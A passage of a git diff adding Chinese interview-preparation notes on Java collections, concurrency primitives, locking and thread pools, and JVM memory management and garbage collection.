采用头插法插入元素,因此并发情况下会导致环形链表,产生死循环。 + +虽然 JDK1.8 采用了尾插法解决了这个问题,但是并发下的 put 操作也会使前一个 key 被后一个 key 覆盖。 + +由于 HashMap 有扩容机制存在,也存在 A 线程进行扩容后,B 线程执行 get 方法出现失误的情况。 + +### 简述 Java 的 TreeMap + +TreeMap 是底层利用红黑树实现的 Map 结构,底层实现是一棵平衡的排序二叉树,由于红黑树的插入、删除、遍历时间复杂度都为 O(logN),所以性能上低于哈希表。但是哈希表无法提供键值对的有序输出,红黑树可以按照键的值的大小有序输出。 + + + +### ArrayList、Vector 和 LinkedList 有什么共同点与区别? + +- ArrayList、Vector 和 LinkedList 都是可伸缩的数组,即可以动态改变长度的数组。 +- ArrayList 和 Vector 都是基于存储元素的 Object[] array 来实现的,它们会在内存中开辟一块连续的空间来存储,支持下标、索引访问。但在涉及插入元素时可能需要移动容器中的元素,插入效率较低。当存储元素超过容器的初始化容量大小,ArrayList 与 Vector 均会进行扩容。 +- Vector 是线程安全的,其大部分方法是直接或间接同步的。ArrayList 不是线程安全的,其方法不具有同步性质。LinkedList 也不是线程安全的。 +- LinkedList 采用双向列表实现,对数据索引需要从头开始遍历,因此随机访问效率较低,但在插入元素的时候不需要对数据进行移动,插入效率较高。 + +### HashMap 和 Hashtable 有什么区别? + +- HashMap 是 Hashtable 的轻量级实现,HashMap 允许 key 和 value 为 null,但最多允许一条记录的 key 为 null.而 HashTable 不允许。 +- HashTable 中的方法是线程安全的,而 HashMap 不是。在多线程访问 HashMap 需要提供额外的同步机制。 +- Hashtable 使用 Enumeration 进行遍历,HashMap 使用 Iterator 进行遍历。 + +### 如何决定使用 HashMap 还是 TreeMap? + +如果对 Map 进行插入、删除或定位一个元素的操作更频繁,HashMap 是更好的选择。如果需要对 key 集合进行有序的遍历,TreeMap 是更好的选择。 + + + +### HashSet 中,equals 与 hashCode 之间的关系? + +equals 和 hashCode 这两个方法都是从 object 类中继承过来的,equals 主要用于判断对象的内存地址引用是否是同一个地址;hashCode 根据定义的哈希规则将对象的内存地址转换为一个哈希码。HashSet 中存储的元素是不能重复的,主要通过 hashCode 与 equals 两个方法来判断存储的对象是否相同: + +- 如果两个对象的 hashCode 值不同,说明两个对象不相同。 +- 如果两个对象的 hashCode 值相同,接着会调用对象的 equals 方法,如果 equlas 方法的返回结果为 true,那么说明两个对象相同,否则不相同。 + +### fail-fast 和 fail-safe 迭代器的区别是什么? + +- fail-fast 直接在容器上进行,在遍历过程中,一旦发现容器中的数据被修改,就会立刻抛出 ConcurrentModificationException 异常从而导致遍历失败。常见的使用 fail-fast 方式的容器有 HashMap 和 ArrayList 等。 +- fail-safe 这种遍历基于容器的一个克隆。因此对容器中的内容修改不影响遍历。常见的使用 fail-safe 方式遍历的容器有 ConcurrentHashMap 和 CopyOnWriteArrayList。 + +### Collection 和 Collections 有什么区别? + +- Collection 是一个集合接口,它提供了对集合对象进行基本操作的通用接口方法,所有集合都是它的子类,比如 List、Set 等。 +- Collections 是一个包装类,包含了很多静态方法、不能被实例化,而是作为工具类使用,比如提供的排序方法:Collections.sort(list);提供的反转方法:Collections.reverse(list)。 + +--- + +作者:后端技术小牛说 +链接:https://mp.weixin.qq.com/s/PmeH38qWVxyIhBpsAsjG7w diff --git a/docs/baguwen/java-thread.md b/docs/baguwen/java-thread.md new file mode 100644 index 0000000000..025a164ce5 --- /dev/null +++ b/docs/baguwen/java-thread.md @@ -0,0 +1,294 @@ +### 简述Java内存模型(JMM) +Java内存模型定义了程序中各种变量的访问规则: + +- 所有变量都存储在主存,每个线程都有自己的工作内存。 +- 工作内存中保存了被该线程使用的变量的主存副本,线程对变量的所有操作都必须在工作空间进行,不能直接读写主内存数据。 +- 操作完成后,线程的工作内存通过缓存一致性协议将操作完的数据刷回主存。 + +### 简述as-if-serial +编译器会对原始的程序进行指令重排序和优化。但不管怎么重排序,其结果都必须和用户原始程序输出的预定结果保持一致。 + +### 简述happens-before八大规则 +- 程序次序规则:一个线程内,按照代码顺序,书写在前面的操作先行发生于书写在后面的操作; +- 锁定规则:一个unLock操作先行发生于后面对同一个锁的lock操作; +- volatile变量规则:对一个变量的写操作先行发生于后面对这个变量的读操作; +- 传递规则:如果操作A先行发生于操作B,而操作B又先行发生于操作C,则可以得出操作A先行发生于操作C; +- 线程启动规则:Thread对象的start()方法先行发生于此线程的每个一个动作; +- 线程中断规则:对线程interrupt()方法的调用先行发生于被中断线程的代码检测到中断事件的发生; +- 线程终结规则:线程中所有的操作都先行发生于线程的终止检测,我们可以通过Thread.join()方法结束、Thread.isAlive()的返回值手段检测到线程已经终止执行; +- 对象终结规则:一个对象的初始化完成先行发生于他的finalize()方法的开始; + +### as-if-serial 和 happens-before 的区别 +as-if-serial 保证单线程程序的执行结果不变,happens-before 保证正确同步的多线程程序的执行结果不变。 + +### 简述原子性操作 +一个操作或者多个操作,要么全部执行并且执行的过程不会被任何因素打断,要么就都不执行,这就是原子性操作。 + +### 简述线程的可见性 +可见性指当一个线程修改了共享变量时,其他线程能够立即得知修改。volatile、synchronized、final 关键字都能保证可见性。 + +### 简述有序性 +虽然多线程存在并发和指令优化等操作,但在本线程内观察该线程的所有执行操作是有序的。 + +### 简述Java中volatile关键字作用 +- 保证变量对所有线程的可见性。当一个线程修改了变量值,新值对于其他线程来说是立即可以得知的。 +- 禁止指令重排。使用 volatile 变量进行写操作,编译器在生成字节码时,会在指令序列中插入内存屏障来禁止特定类型的处理器进行重排序。 + +### Java线程的实现方式 +- 实现Runnable接口 +- 继承Thread类 +- 实现Callable接口 +### 简述Java线程的状态 +线程状态有 NEW、RUNNABLE、BLOCK、WAITING、TIMED_WAITING、THERMINATED + +- NEW:新建状态,线程被创建且未启动,此时还未调用 start 方法。 +- RUNNABLE:运行状态。表示线程正在JVM中执行,但是这个执行,不一定真的在跑,也可能在排队等CPU。 +- BLOCKED:阻塞状态。线程等待获取锁,锁还没获得。 +- WAITING:等待状态。线程内run方法执行完Object.wait()/Thread.join()进入该状态。 +- TIMED_WAITING:限期等待。在一定时间之后跳出状态。调用Thread.sleep(long) Object.wait(long) Thread.join(long)进入状态。其中这些参数代表等待的时间。 +- TERMINATED:结束状态。线程调用完run方法进入该状态。 + +### 简述线程通信的方式 +- volatile 关键词修饰变量,保证所有线程对变量访问的可见性。 +- synchronized关键词。确保多个线程在同一时刻只能有一个处于方法或同步块中。 +- wait/notify方法 +- IO通信 +### 简述线程池 +没有线程池的情况下,多次创建,销毁线程开销比较大。如果在开辟的线程执行完当前任务后复用已创建的线程,可以降低开销、控制最大并发数。 + +线程池创建线程时,会将线程封装成工作线程 Worker,Worker 在执行完任务后还会循环获取工作队列中的任务来执行。 + +将任务派发给线程池时,会出现以下几种情况 + +- 核心线程池未满,创建一个新的线程执行任务。 +- 如果核心线程池已满,工作队列未满,将线程存储在工作队列。 +- 如果工作队列已满,线程数小于最大线程数就创建一个新线程处理任务。 +- 如果超过大小线程数,按照拒绝策略来处理任务。 + +线程池参数: + +- corePoolSize:常驻核心线程数。超过该值后如果线程空闲会被销毁。 +- maximumPoolSize:线程池能够容纳同时执行的线程最大数。 +- keepAliveTime:线程空闲时间,线程空闲时间达到该值后会被销毁,直到只剩下 corePoolSize 个线程为止,避免浪费内存资源。 +- workQueue:工作队列。 +- threadFactory:线程工厂,用来生产一组相同任务的线程。 +- handler:拒绝策略。 + +拒绝策略有以下几种: + +- AbortPolicy:丢弃任务并抛出异常 +- CallerRunsPolicy:重新尝试提交该任务 +- DiscardOldestPolicy 抛弃队列里等待最久的任务并把当前任务加入队列 +- DiscardPolicy 表示直接抛弃当前任务但不抛出异常。 + + +### 简述Executor框架 +Executor框架目的是将任务提交和任务如何运行分离开来的机制。用户不再需要从代码层考虑设计任务的提交运行,只需要调用Executor框架实现类的Execute方法就可以提交任务。 + +### 简述Executor的继承关系 +- Executor:一个接口,其定义了一个接收Runnable对象的方法executor,该方法接收一个Runable实例执行这个任务。 +- ExecutorService:Executor的子类接口,其定义了一个接收Callable对象的方法,返回 Future 对象,同时提供execute方法。 +- ScheduledExecutorService:ExecutorService的子类接口,支持定期执行任务。 +- AbstractExecutorService:抽象类,提供 ExecutorService 执行方法的默认实现。 +- Executors:实现ExecutorService接口的静态工厂类,提供了一系列工厂方法用于创建线程池。 +- ThreadPoolExecutor:继承AbstractExecutorService,用于创建线程池。 +- ForkJoinPool: 继承AbstractExecutorService,Fork 将大任务分叉为多个小任务,然后让小任务执行,Join 是获得小任务的结果,类似于map reduce。 +- ThreadPoolExecutor:继承ThreadPoolExecutor,实现ScheduledExecutorService,用于创建带定时任务的线程池。 +### 简述线程池的状态 +- Running:能接受新提交的任务,也可以处理阻塞队列的任务。 +- Shutdown:不再接受新提交的任务,但可以处理存量任务,线程池处于running时调用shutdown方法,会进入该状态。 +- Stop:不接受新任务,不处理存量任务,调用shutdownnow进入该状态。 +- Tidying:所有任务已经终止了,worker_count(有效线程数)为0。 +- Terminated:线程池彻底终止。在tidying模式下调用terminated方法会进入该状态。 + +### 简述线程池类型 +- newCachedThreadPool 可缓存线程池,可设置最小线程数和最大线程数,线程空闲1分钟后自动销毁。 +- newFixedThreadPool 指定工作线程数量线程池。 +- newSingleThreadExecutor 单线程Executor。 +- newScheduleThreadPool 支持定时任务的指定工作线程数量线程池。 +- newSingleThreadScheduledExecutor 支持定时任务的单线程Executor。 + +### 简述阻塞队列 +阻塞队列是生产者消费者的实现具体组件之一。当阻塞队列为空时,从队列中获取元素的操作将会被阻塞,当阻塞队列满了,往队列添加元素的操作将会被阻塞。具体实现有: + +- ArrayBlockingQueue:底层是由数组组成的有界阻塞队列。 +- LinkedBlockingQueue:底层是由链表组成的有界阻塞队列。 +- PriorityBlockingQueue:阻塞优先队列。 +- DelayQueue:创建元素时可以指定多久才能从队列中获取当前元素 +- SynchronousQueue:不存储元素的阻塞队列,每一个存储必须等待一个取出操作 +- LinkedTransferQueue:与LinkedBlockingQueue相比多一个transfer方法,即如果当前有消费者正等待接收元素,可以把生产者传入的元素立刻传输给消费者。 +- LinkedBlockingDeque:双向阻塞队列。 +### 谈一谈ThreadLocal +ThreadLocal 是线程共享变量。ThreadLoacl 有一个静态内部类 ThreadLocalMap,其 Key 是 ThreadLocal 对象,值是 Entry 对象,ThreadLocalMap是每个线程私有的。 + +- set 给ThreadLocalMap设置值。 +- get 获取ThreadLocalMap。 +- remove 删除ThreadLocalMap类型的对象。 + +存在的问题:对于线程池,由于线程池会重用 Thread 对象,因此与 Thread 绑定的 ThreadLocal 也会被重用,造成一系列问题。 + +比如说内存泄漏。由于 ThreadLocal 是弱引用,但 Entry 的 value 是强引用,因此当 ThreadLocal 被垃圾回收后,value 依旧不会被释放,产生内存泄漏。 + +### 聊聊你对Java并发包下unsafe类的理解 +对于 Java 语言,没有直接的指针组件,一般也不能使用偏移量对某块内存进行操作。这些操作相对来讲是安全(safe)的。 + +Java 有个类叫 Unsafe 类,这个类使 Java 拥有了像 C 语言的指针一样操作内存空间的能力,同时也带来了指针的问题。这个类可以说是 Java 并发开发的基础。 + +### Java中的乐观锁与CAS算法 +乐观锁认为数据发送时发生并发冲突的概率不大,所以读操作前不上锁。 + +到了写操作时才会进行判断,数据在此期间是否被其他线程修改。如果发生修改,那就返回写入失败;如果没有被修改,那就执行修改操作,返回修改成功。 + +乐观锁一般都采用 Compare And Swap(CAS)算法进行实现。顾名思义,该算法涉及到了两个操作,比较(Compare)和交换(Swap)。 + +CAS 算法的思路如下: + +- 该算法认为不同线程对变量的操作时产生竞争的情况比较少。 +- 该算法的核心是对当前读取变量值 E 和内存中的变量旧值 V 进行比较。 +- 如果相等,就代表其他线程没有对该变量进行修改,就将变量值更新为新值 N。 +- 如果不等,就认为在读取值 E 到比较阶段,有其他线程对变量进行过修改,不进行任何操作。 + +### ABA问题及解决方法简述 +CAS 算法是基于值来做比较的,如果当前有两个线程,一个线程将变量值从 A 改为 B ,再由 B 改回为 A ,当前线程开始执行 CAS 算法时,就很容易认为值没有变化,误认为读取数据到执行 CAS 算法的期间,没有线程修改过数据。 + +juc 包提供了一个 AtomicStampedReference,即在原始的版本下加入版本号戳,解决 ABA 问题。 + +### 简述常见的Atomic类 +在很多时候,我们需要的仅仅是一个简单的、高效的、线程安全的++或者--方案,使用synchronized关键字和lock固然可以实现,但代价比较大,此时用原子类更加方便。基本数据类型的原子类有: + +- AtomicInteger 原子更新整形 +- AtomicLong 原子更新长整型 +- AtomicBoolean 原子更新布尔类型 + +Atomic数组类型有: + +- AtomicIntegerArray 原子更新整形数组里的元素 +- AtomicLongArray 原子更新长整型数组里的元素 +- AtomicReferenceArray 原子更新引用类型数组里的元素。 + +Atomic引用类型有: + +- AtomicReference 原子更新引用类型 +- AtomicMarkableReference 原子更新带有标记位的引用类型,可以绑定一个 boolean 标记 +- AtomicStampedReference 原子更新带有版本号的引用类型 + +FieldUpdater类型: + +- AtomicIntegerFieldUpdater 原子更新整形字段的更新器 +- AtomicLongFieldUpdater 原子更新长整形字段的更新器 +- AtomicReferenceFieldUpdater 原子更新引用类型字段的更新器 +### 简述Atomic类基本实现原理 +以AtomicIntger 为例。 + +方法getAndIncrement,以原子方式将当前的值加1,具体实现为: + +- 在 for 死循环中取得 AtomicInteger 里存储的数值 +- 对 AtomicInteger 当前的值加 1 +- 调用 compareAndSet 方法进行原子更新 +- 先检查当前数值是否等于 expect +- 如果等于则说明当前值没有被其他线程修改,则将值更新为 next, +- 如果不是会更新失败返回 false,程序会进入 for 循环重新进行 compareAndSet 操作。 +### 简述CountDownLatch +CountDownLatch这个类使一个线程等待其他线程各自执行完毕后再执行。是通过一个计数器来实现的,计数器的初始值是线程的数量。每当一个线程执行完毕后,调用countDown方法,计数器的值就减1,当计数器的值为0时,表示所有线程都执行完毕,然后在等待的线程就可以恢复工作了。只能一次性使用,不能reset。 + +### 简述CyclicBarrier +CyclicBarrier 主要功能和CountDownLatch类似,也是通过一个计数器,使一个线程等待其他线程各自执行完毕后再执行。但是其可以重复使用(reset)。 + +### 简述Semaphore +Semaphore即信号量。Semaphore 的构造方法参数接收一个 int 值,设置一个计数器,表示可用的许可数量即最大并发数。使用 acquire 方法获得一个许可证,计数器减一,使用 release 方法归还许可,计数器加一。如果此时计数器值为0,线程进入休眠。 + +### 简述Exchanger +Exchanger类可用于两个线程之间交换信息。可简单地将Exchanger对象理解为一个包含两个格子的容器,通过exchanger方法可以向两个格子中填充信息。线程通过exchange 方法交换数据,第一个线程执行 exchange 方法后会阻塞等待第二个线程执行该方法。当两个线程都到达同步点时这两个线程就可以交换数据当两个格子中的均被填充时,该对象会自动将两个格子的信息交换,然后返回给线程,从而实现两个线程的信息交换。 + +### 简述ConcurrentHashMap +JDK7采用锁分段技术。首先将数据分成 Segment 数据段,然后给每一个数据段配一把锁,当一个线程占用锁访问其中一个段的数据时,其他段的数据也能被其他线程访问。 + +get 除读到空值不需要加锁。该方法先经过一次再散列,再用这个散列值通过散列运算定位到 Segment,最后通过散列算法定位到元素。put 须加锁,首先定位到 Segment,然后进行插入操作,第一步判断是否需要对 Segment 里的 HashEntry 数组进行扩容,第二步定位添加元素的位置,然后将其放入数组。 + +JDK8的改进 + +- 取消分段锁机制,采用CAS算法进行值的设置,如果CAS失败再使用 synchronized 加锁添加元素 +- 引入红黑树结构,当某个槽内的元素个数超过8且 Node数组 容量大于 64 时,链表转为红黑树。 +- 使用了更加优化的方式统计集合内的元素数量。 +### synchronized底层实现原理 +Java 对象底层都会关联一个 monitor,使用 synchronized 时 JVM 会根据使用环境找到对象的 monitor,根据 monitor 的状态进行加解锁的判断。如果成功加锁就成为该 monitor 的唯一持有者,monitor 在被释放前不能再被其他线程获取。 + +synchronized在JVM编译后会产生monitorenter 和 monitorexit 这两个字节码指令,获取和释放 monitor。这两个字节码指令都需要一个引用类型的参数指明要锁定和解锁的对象,对于同步普通方法,锁是当前实例对象;对于静态同步方法,锁是当前类的 Class 对象;对于同步方法块,锁是 synchronized 括号里的对象。 + +执行 monitorenter 指令时,首先尝试获取对象锁。如果这个对象没有被锁定,或当前线程已经持有锁,就把锁的计数器加 1,执行 monitorexit 指令时会将锁计数器减 1。一旦计数器为 0 锁随即就被释放。 + +### synchronized关键词使用方法 +- 直接修饰某个实例方法 +- 直接修饰某个静态方法 +- 修饰代码块 +### 简述Java偏向锁 +JDK 1.6 中提出了偏向锁的概念。该锁提出的原因是,开发者发现多数情况下锁并不存在竞争,一把锁往往是由同一个线程获得的。偏向锁并不会主动释放,这样每次偏向锁进入的时候都会判断该资源是否是偏向自己的,如果是偏向自己的则不需要进行额外的操作,直接可以进入同步操作。 + +其申请流程为: + +- 首先需要判断对象的 Mark Word 是否属于偏向模式,如果不属于,那就进入轻量级锁判断逻辑。否则继续下一步判断; +- 判断目前请求锁的线程 ID 是否和偏向锁本身记录的线程 ID 一致。如果一致,继续下一步的判断,如果不一致,跳转到步骤4; +- 判断是否需要重偏向。如果不用的话,直接获得偏向锁; +- 利用 CAS 算法将对象的 Mark Word 进行更改,使线程 ID 部分换成本线程 ID。如果更换成功,则重偏向完成,获得偏向锁。如果失败,则说明有多线程竞争,升级为轻量级锁。 +### 简述轻量级锁 +轻量级锁是为了在没有竞争的前提下减少重量级锁出现并导致的性能消耗。 + +其申请流程为: + +- 如果同步对象没有被锁定,虚拟机将在当前线程的栈帧中建立一个锁记录空间,存储锁对象目前 Mark Word 的拷贝。 +- 虚拟机使用 CAS 尝试把对象的 Mark Word 更新为指向锁记录的指针 +- 如果更新成功即代表该线程拥有了锁,锁标志位将转变为 00,表示处于轻量级锁定状态。 +- 如果更新失败就意味着至少存在一条线程与当前线程竞争。虚拟机检查对象的 Mark Word 是否指向当前线程的栈帧 +- 如果指向当前线程的栈帧,说明当前线程已经拥有了锁,直接进入同步块继续执行 +- 如果不是则说明锁对象已经被其他线程抢占。 +- 如果出现两条以上线程争用同一个锁,轻量级锁就不再有效,将膨胀为重量级锁,锁标志状态变为 10,此时Mark Word 存储的就是指向重量级锁的指针,后面等待锁的线程也必须阻塞。 +### 简述锁优化策略 +即自适应自旋、锁消除、锁粗化、锁升级等策略偏。 + +### 简述Java的自旋锁 +线程获取锁失败后,可以采用这样的策略,可以不放弃 CPU ,不停的重试内重试,这种操作也称为自旋锁。 + +### 简述自适应自旋锁 +自适应自旋锁自旋次数不再人为设定,通常由前一次在同一个锁上的自旋时间及锁的拥有者的状态决定。 + +### 简述锁粗化 +锁粗化的思想就是扩大加锁范围,避免反复的加锁和解锁。 + +### 简述锁消除 +锁消除是一种更为彻底的优化,在编译时,Java编译器对运行上下文进行扫描,去除不可能存在共享资源竞争的锁。 + +### 简述Lock与ReentrantLock +Lock接口是 Java并发包的顶层接口。 + +可重入锁 ReentrantLock 是 Lock 最常见的实现,与 synchronized 一样可重入。ReentrantLock 在默认情况下是非公平的,可以通过构造方法指定公平锁。一旦使用了公平锁,性能会下降。 + +### 简述AQS + +AQS(AbstractQuenedSynchronizer)抽象的队列式同步器。AQS是将每一条请求共享资源的线程封装成一个锁队列的一个结点(Node),来实现锁的分配。AQS是用来构建锁或其他同步组件的基础框架,它使用一个 volatile int state 变量作为共享资源,如果线程获取资源失败,则进入同步队列等待;如果获取成功就执行临界区代码,释放资源时会通知同步队列中的等待线程。 + +子类通过继承同步器并实现它的抽象方法getState、setState 和 compareAndSetState对同步状态进行更改。 + +AQS获取独占锁/释放独占锁原理: + +获取:(acquire) + +- 调用 tryAcquire 方法安全地获取线程同步状态,获取失败的线程会被构造同步节点并通过 addWaiter 方法加入到同步队列的尾部,在队列中自旋。 +- 调用 acquireQueued 方法使得该节点以死循环的方式获取同步状态,如果获取不到则阻塞。 + +释放:(release) + +- 调用 tryRelease 方法释放同步状态 +- 调用 unparkSuccessor 方法唤醒头节点的后继节点,使后继节点重新尝试获取同步状态。 + +AQS获取共享锁/释放共享锁原理 + +获取锁(acquireShared) + +- 调用 tryAcquireShared 方法尝试获取同步状态,返回值不小于 0 表示能获取同步状态。 +- 释放(releaseShared),并唤醒后续处于等待状态的节点。 + +---- + + +作者:后端技术小牛说 +链接:https://mp.weixin.qq.com/s/HEzi-UKs-hpWhTh_HPWaMQ diff --git a/docs/baguwen/jvm.md b/docs/baguwen/jvm.md new file mode 100644 index 0000000000..6181a5abc9 --- /dev/null +++ b/docs/baguwen/jvm.md @@ -0,0 +1,196 @@ +### 简述JVM内存模型 +线程私有的运行时数据区: 程序计数器、Java 虚拟机栈、本地方法栈。 + +线程共享的运行时数据区:Java 堆、方法区。 + +### 简述程序计数器 +程序计数器表示当前线程所执行的字节码的行号指示器。 + +程序计数器不会产生StackOverflowError和OutOfMemoryError。 + +### 简述虚拟机栈 +Java 虚拟机栈用来描述 Java 方法执行的内存模型。线程创建时就会分配一个栈空间,线程结束后栈空间被回收。 + +栈中元素用于支持虚拟机进行方法调用,每个方法在执行时都会创建一个栈帧存储方法的局部变量表、操作栈、动态链接和返回地址等信息。 + +虚拟机栈会产生两类异常: + +- StackOverflowError:线程请求的栈深度大于虚拟机允许的深度抛出。 +- OutOfMemoryError:如果 JVM 栈容量可以动态扩展,虚拟机栈占用内存超出抛出。 + +### 简述本地方法栈 +本地方法栈与虚拟机栈作用相似,不同的是虚拟机栈为虚拟机执行 Java 方法服务,本地方法栈为本地方法服务。可以将虚拟机栈看作普通的java函数对应的内存模型,本地方法栈看作由native关键词修饰的函数对应的内存模型。 + +本地方法栈会产生两类异常: + +- StackOverflowError:线程请求的栈深度大于虚拟机允许的深度抛出。 +- OutOfMemoryError:如果 JVM 栈容量可以动态扩展,虚拟机栈占用内存超出抛出。 + +### 简述JVM中的堆 +堆主要作用是存放对象实例,Java 里几乎所有对象实例都在堆上分配内存,堆也是内存管理中最大的一块。Java的垃圾回收主要就是针对堆这一区域进行。 可通过 -Xms 和 -Xmx 设置堆的最小和最大容量。 + +堆会抛出 OutOfMemoryError异常。 + +### 简述方法区 +方法区用于存储被虚拟机加载的类信息、常量、静态变量等数据。 + +JDK6之前使用永久代实现方法区,容易内存溢出。JDK7 把放在永久代的字符串常量池、静态变量等移出,JDK8 中抛弃永久代,改用在本地内存中实现的元空间来实现方法区,把 JDK 7 中永久代内容移到元空间。 + +方法区会抛出 OutOfMemoryError异常。 + +### 简述运行时常量池 +运行时常量池存放常量池表,用于存放编译器生成的各种字面量与符号引用。一般除了保存 Class 文件中描述的符号引用外,还会把符号引用翻译的直接引用也存储在运行时常量池。除此之外,也会存放字符串基本类型。 + +JDK8之前,放在方法区,大小受限于方法区。JDK8将运行时常量池存放堆中。 + +### 简述直接内存 +直接内存也称为堆外内存,就是把内存对象分配在JVM堆外的内存区域。这部分内存不是虚拟机管理,而是由操作系统来管理。 Java通过DriectByteBuffer对其进行操作,避免了在 Java 堆和 Native堆来回复制数据。 + +### 简述Java创建对象的过程 +- 检查该指令的参数能否在常量池中定位到一个类的符号引用,并检查引用代表的类是否已被加载、解析和初始化,如果没有就先执行类加载。 +- 通过检查通过后虚拟机将为新生对象分配内存。 +- 完成内存分配后虚拟机将成员变量设为零值 +- 设置对象头,包括哈希码、GC 信息、锁信息、对象所属类的类元信息等。 +- 执行 init 方法,初始化成员变量,执行实例化代码块,调用类的构造方法,并把堆内对象的首地址赋值给引用变量。 +### 简述JVM给对象分配内存的策略 +- 指针碰撞:这种方式在内存中放一个指针作为分界指示器将使用过的内存放在一边,空闲的放在另一边,通过指针挪动完成分配。 +- 空闲列表:对于 Java 堆内存不规整的情况,虚拟机必须维护一个列表记录哪些内存可用,在分配时从列表中找到一块足够大的空间划分给对象并更新列表记录。 +### Java对象内存分配是如何保证线程安全的 +第一种方法,采用CAS机制,配合失败重试的方式保证更新操作的原子性。该方式效率低。 + +第二种方法,每个线程在Java堆中预先分配一小块内存,然后再给对象分配内存的时候,直接在自己这块"私有"内存中分配。一般采用这种策略。 + +### 简述对象的内存布局 +对象在堆内存的存储布局可分为对象头、实例数据和对齐填充。 + +1)对象头主要包含两部分数据: MarkWord、类型指针。 + +MarkWord 用于存储哈希码(HashCode)、GC分代年龄、锁状态标志位、线程持有的锁、偏向线程ID等信息。 + +类型指针即对象指向他的类元数据指针,如果对象是一个 Java 数组,会有一块用于记录数组长度的数据。 + +2)实例数据存储代码中所定义的各种类型的字段信息。 + +3)对齐填充起占位作用。HotSpot 虚拟机要求对象的起始地址必须是8的整数倍,因此需要对齐填充。 + +### 如何判断对象是否是垃圾 +1)引用计数法: + +设置引用计数器,对象被引用计数器加 1,引用失效时计数器减 1,如果计数器为 0 则被标记为垃圾。会存在对象间循环引用的问题,一般不使用这种方法。 + +2)可达性分析: + +通过 GC Roots 的根对象作为起始节点,从这些节点开始,根据引用关系向下搜索,如果某个对象没有被搜到,则会被标记为垃圾。可作为 GC Roots 的对象包括虚拟机栈和本地方法栈中引用的对象、类静态属性引用的对象、常量引用的对象。 + +### 简述java的引用类型 +- 强引用: 被强引用关联的对象不会被回收。一般采用 new 方法创建强引用。 +- 软引用:被软引用关联的对象只有在内存不够的情况下才会被回收。一般采用 SoftReference 类来创建软引用。 +- 弱引用:垃圾收集器碰到即回收,也就是说它只能存活到下一次垃圾回收发生之前。一般采用 WeakReference 类来创建弱引用。 +- 虚引用: 无法通过该引用获取对象。唯一目的就是为了能在对象被回收时收到一个系统通知。虚引用必须与引用队列联合使用。 + +### 简述标记清除算法、标记整理算法和标记复制算法 +- 标记清除算法:先标记需清除的对象,之后统一回收。这种方法效率不高,会产生大量不连续的碎片。 +- 标记整理算法:先标记存活对象,然后让所有存活对象向一端移动,之后清理端边界以外的内存 +- 标记复制算法:将可用内存按容量划分为大小相等的两块,每次只使用其中一块。当使用的这块空间用完了,就将存活对象复制到另一块,再把已使用过的内存空间一次清理掉。 + +### 简述分代收集算法 +根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。 + +一般将堆分为新生代和老年代,对这两块采用不同的算法。 + +新生代使用:标记复制算法 + +老年代使用:标记清除或者标记整理算法 + +### 简述Serial垃圾收集器 +Serial垃圾收集器是单线程串行收集器。垃圾回收的时候,必须暂停其他所有线程。新生代使用标记复制算法,老年代使用标记整理算法。简单高效。 + +### 简述ParNew垃圾收集器 +ParNew垃圾收集器可以看作Serial垃圾收集器的多线程版本,新生代使用标记复制算法,老年代使用标记整理算法。 + +### 简述Parallel Scavenge垃圾收集器 +注重吞吐量,即 CPU运行代码时间/CPU耗时总时间(CPU运行代码时间+ 垃圾回收时间)。新生代使用标记复制算法,老年代使用标记整理算法。 + +### 简述CMS垃圾收集器 +CMS垃圾收集器注重最短时间停顿。CMS垃圾收集器为最早提出的并发收集器,垃圾收集线程与用户线程同时工作。采用标记清除算法。该收集器分为初始标记、并发标记、并发预清理、并发清除、并发重置这么几个步骤。 + +- 初始标记:暂停其他线程(stop the world),标记与GC roots直接关联的对象。 +- 并发标记:可达性分析过程(程序不会停顿)。 +- 并发预清理:查找执行并发标记阶段从年轻代晋升到老年代的对象,重新标记,暂停虚拟机(stop the world)扫描CMS堆中剩余对象。 +- 并发清除:清理垃圾对象,(程序不会停顿)。 +- 并发重置,重置CMS收集器的数据结构。 + +### 简述G1垃圾收集器 +和Serial、Parallel Scavenge、CMS不同,G1垃圾收集器把堆划分成多个大小相等的独立区域(Region),新生代和老年代不再物理隔离。通过引入 Region 的概念,从而将原来的一整块内存空间划分成多个的小空间,使得每个小空间可以单独进行垃圾回收。 + +- 初始标记:标记与GC roots直接关联的对象。 +- 并发标记:可达性分析。 +- 最终标记:对并发标记过程中,用户线程修改的对象再次标记一下。 +- 筛选回收:对各个Region的回收价值和成本进行排序,然后根据用户所期望的GC停顿时间制定回收计划并回收。 + +### 简述Minor GC +Minor GC指发生在新生代的垃圾收集,因为 Java 对象大多存活时间短,所以 Minor GC 非常频繁,一般回收速度也比较快。 + +### 简述Full GC +Full GC 是清理整个堆空间—包括年轻代和永久代。调用System.gc(),老年代空间不足,空间分配担保失败,永生代空间不足会产生full gc。 + +### 常见内存分配策略 +大多数情况下对象在新生代 Eden 区分配,当 Eden 没有足够空间时将发起一次 Minor GC。 + +大对象需要大量连续内存空间,直接进入老年代区分配。 + +如果经历过第一次 Minor GC 仍然存活且能被 Survivor 容纳,该对象就会被移动到 Survivor 中并将年龄设置为 1,并且每熬过一次 Minor GC 年龄就加 1 ,当增加到一定程度(默认15)就会被晋升到老年代。 + +如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 的一半,年龄不小于该年龄的对象就可以直接进入老年代。 + +MinorGC 前,虚拟机必须检查老年代最大可用连续空间是否大于新生代对象总空间,如果满足则说明这次 Minor GC 确定安全。如果不,JVM会查看HandlePromotionFailure 参数是否允许担保失败,如果允许会继续检查老年代最大可用连续空间是否大于历次晋升老年代对象的平均大小,如果满足将Minor GC,否则改成一次 FullGC。 + +### 简述JVM类加载过程 +1)加载: + +- 通过全类名获取类的二进制字节流。 +- 将类的静态存储结构转化为方法区的运行时数据结构。 +- 在内存中生成类的Class对象,作为方法区数据的入口。 + +2)验证:对文件格式,元数据,字节码,符号引用等验证正确性。 + +3)准备:在方法区内为类变量分配内存并设置为0值。 + +4)解析:将符号引用转化为直接引用。 + +5)初始化:执行类构造器clinit方法,真正初始化。 + +### 简述JVM中的类加载器 +- BootstrapClassLoader启动类加载器:加载/lib下的jar包和类。 由C++编写。 +- ExtensionClassLoader扩展类加载器: /lib/ext目录下的jar包和类。由Java编写。 +- AppClassLoader应用类加载器,加载当前classPath下的jar包和类。由Java编写。 + +### 简述双亲委派机制 +一个类加载器收到类加载请求之后,首先判断当前类是否被加载过。已经被加载的类会直接返回,如果没有被加载,首先将类加载请求转发给父类加载器,一直转发到启动类加载器,只有当父类加载器无法完成时才尝试自己加载。 + 